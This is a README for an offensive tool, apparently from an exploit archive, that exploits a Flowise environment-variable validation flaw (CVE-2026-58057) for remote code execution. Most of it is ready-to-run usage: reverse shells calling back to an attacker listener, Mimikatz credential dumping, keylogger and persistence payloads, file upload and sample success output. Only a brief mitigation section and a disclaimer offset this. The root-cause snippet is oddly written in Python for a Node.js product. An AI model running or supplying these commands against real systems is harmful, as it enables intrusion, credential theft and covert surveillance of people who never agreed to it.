Share
## https://sploitus.com/exploit?id=490EA0E6-23DD-5429-AD06-079A0EAC8823
# Flowise CVE-2026-58057 - Windows Remote Code Execution Exploit
## ๐ Overview
This is a production-grade exploit for **CVE-2026-58057**, a critical Remote Code Execution vulnerability in Flowise on Windows platforms. The vulnerability arises from case-sensitive environment variable validation that fails to block lowercase `node_options`, allowing attackers to bypass the `NODE_OPTIONS` denylist and execute arbitrary code through Custom MCP stdio configuration.
The exploit demonstrates professional software engineering practices with modular architecture, comprehensive error handling, and support for multiple payload types.
## โ ๏ธ Disclaimer
> **IMPORTANT:** This tool is provided for **authorized security testing**, **penetration testing**, and **educational purposes only**.The author is **not responsible** for any misuse or damage caused by this software.**Always obtain proper authorization** before testing any system.
## ๐ Technical Details
### Vulnerability Root Cause
```python
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
```
### Exploit Mechanism
1. Attacker authenticates to Flowise
1. Creates/Modifies Custom MCP stdio node
1. Injects lowercase `node_options` environment variable
1. Sets value to `--require malicious-loader.js`
1. Node.js executes loader when MCP stdio runs
1. Arbitrary code execution achieved
## โจ Features
### Core Capabilities
- โ
**Reverse Shell** - Connect back to attacker machine
- โ
**Bind Shell** - Open listening port on target
- โ
**Command Execution** - Run arbitrary system commands
- โ
**File Upload** - Upload files to target system
- โ
**Persistence** - Multiple persistence mechanisms
- โ
**Information Gathering** - Collect system intelligence
- โ
**Credential Dumping** - Mimikatz integration
- โ
**Screenshot Capture** - Capture desktop screenshots
- โ
**Keylogger** - Install keylogging capability
### Technical Features
- ๐ **Multiple Authentication Methods** - API key or username/password
- ๐ **Auto-Retry Logic** - Resilient against network issues
- ๐งน **Self-Cleaning** - Removes loader files from target
- ๐ **Cross-Platform** - Works on Windows/Linux/macOS
- ๐จ **Colored Output** - Enhanced readability
- ๐ **Verbose Debugging** - Detailed logging for troubleshooting
## ๐ฆ Installation
### Prerequisites
- Python 3.6 or higher
- pip (Python package manager)
### Quick Install
```bash
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
```
### Docker Installation (Optional )
```
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
```
## ๐ Usage
### Command Line Options
```bash
python3 exploit.py --help
```
### Authentication Options
| Option | Description | Example |
| --- | --- | --- |
| `-t, --target` | Flowise URL (Required) | `http://localhost:3000` |
| `-k, --api-key` | Flowise API key | `flowise_abc123...` |
| `-u, --username` | Username | `admin` |
| `-p, --password` | Password | `password123` |
### Payload Options
| Option | Description | Example |
| --- | --- | --- |
| `--payload` | Payload type | `reverse_shell` |
| `--lhost` | Listener host | `192.168.1.100` |
| `--lport` | Listener port | `4444` |
| `--command` | Command to execute | `whoami` |
| `--local-file` | File to upload | `payload.exe` |
| `--remote-path` | Remote save path | `C:\\Temp\\update.exe` |
### Execution Options
| Option | Description |
| --- | --- |
| `--interactive` | Start interactive shell |
| `--verbose` | Enable debug output |
| `--timeout` | Request timeout in seconds |
| `--retries` | Number of retry attempts |
## ๐ Usage Examples
### 1. Basic Reverse Shell
```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
```
### 2. Interactive Reverse Shell
```bash
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
```
### 3. Command Execution
```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
```
### 4. File Upload
```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
```
### 5. Credential Dumping (Mimikatz )
```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
```
### 6. Persistence Installation
```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
```
### 7. Information Gathering
```bash
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
```
### 8. Screenshot Capture
```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
```
## ๐ฏ Payload Types
| Payload | Description | Arguments |
| --- | --- | --- |
| `reverse_shell` | Connect back to listener | `--lhost`, `--lport` |
| `bind_shell` | Open listening port | `--lport` |
| `command_exec` | Execute command | `--command` |
| `file_upload` | Upload file to target | `--local-file`, `--remote-path` |
| `persistence` | Install persistence | None |
| `info_gather` | Collect system info | None |
| `mimikatz` | Dump credentials | None |
| `screenshot` | Capture screenshot | None |
| `keylogger` | Install keylogger | None |
## ๐ก๏ธ Mitigation
### Upgrade Flowise
```bash
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest
```
### Workarounds
- Restrict access to Custom MCP configuration
- Implement network segmentation
- Monitor for suspicious environment variables
- Use Web Application Firewall (WAF )
### Fixed Code
```python
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # Case-insensitive check
raise ValueError(f"Modification not allowed")
```
## ๐ Output Examples
### Successful Exploit
```
[14:32:15] โน Starting exploit sequence...
[14:32:15] โน Attempting authentication...
[14:32:16] โ Authenticated with API key
[14:32:16] โน Preparing reverse_shell payload execution...
[14:32:16] โน Injecting environment variable...
[14:32:17] โน Triggering payload execution...
[14:32:19] โ Payload 'reverse_shell' executed successfully!
[14:32:19] โน Reverse shell listener ready on 192.168.1.50:4444
```
### Verbose Mode
```
[14:32:15] ๐ Session created with retry strategy
[14:32:15] ๐ Using existing workspace: ws_123456
[14:32:16] ๐ Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] ๐ MCP stdio configuration updated
```
## ๐ Troubleshooting
### Common Issues
| Issue | Solution |
| --- | --- |
| SSL Certificate Error | `pip install --trusted-host pypi.org -r requirements.txt` |
| Permission Denied | `pip install --user -r requirements.txt` |
| Connection Refused | Verify target URL and network connectivity |
| Authentication Failed | Check API key or username/password |
| Payload Fails | Use `--verbose` for detailed debugging |
| Python Version | Ensure Python 3.6+ is installed |
### Debug Commands
```bash
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# Test connectivity
curl -k https://localhost:3000/api/v1/version
# Check Python version
python3 --version
```
## ๐ File Structure
```
flowise-CVE-2026-58057-exploit/
โโโ exploit.py # Main exploit script
โโโ requirements.txt # Core dependencies
โโโ README.md # This documentation
โโโ LICENSE # MIT License
โโโ CHANGELOG.md # Version history
```
## ๐ค Contributing
1. Fork the repository
1. Create feature branch (`git checkout -b feature/amazing` )
1. Commit changes (`git commit -m 'Add amazing feature'`)
1. Push to branch (`git push origin feature/amazing`)
1. Open Pull Request
## ๐ License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
## ๐ Acknowledgments
- FlowiseAI for the product
- Security researchers who discovered similar vulnerabilities
- Pentesting community for testing methodologies
## ๐ References
- [CVE-2026-58057](https://nvd.nist.gov/vuln/detail/CVE-2026-58057)
- [Flowise GitHub Repository](https://github.com/FlowiseAI/Flowise)
- [Flowise Documentation](https://docs.flowiseai.com/)
- [Node.js Environment Variables Security](https://nodejs.org/en/docs/guides/environment-variables-security/)
## ๐ง Contact
**Author:** Sudeepa Wanigarathna**Security Researcher & Penetration Tester**
## โญ Support
If you find this tool useful, please consider:
- โญ Starring the repository on GitHub
- ๐ Following for updates
- ๐ Reporting issues or suggestions
---
**Made with โค๏ธ for the security community**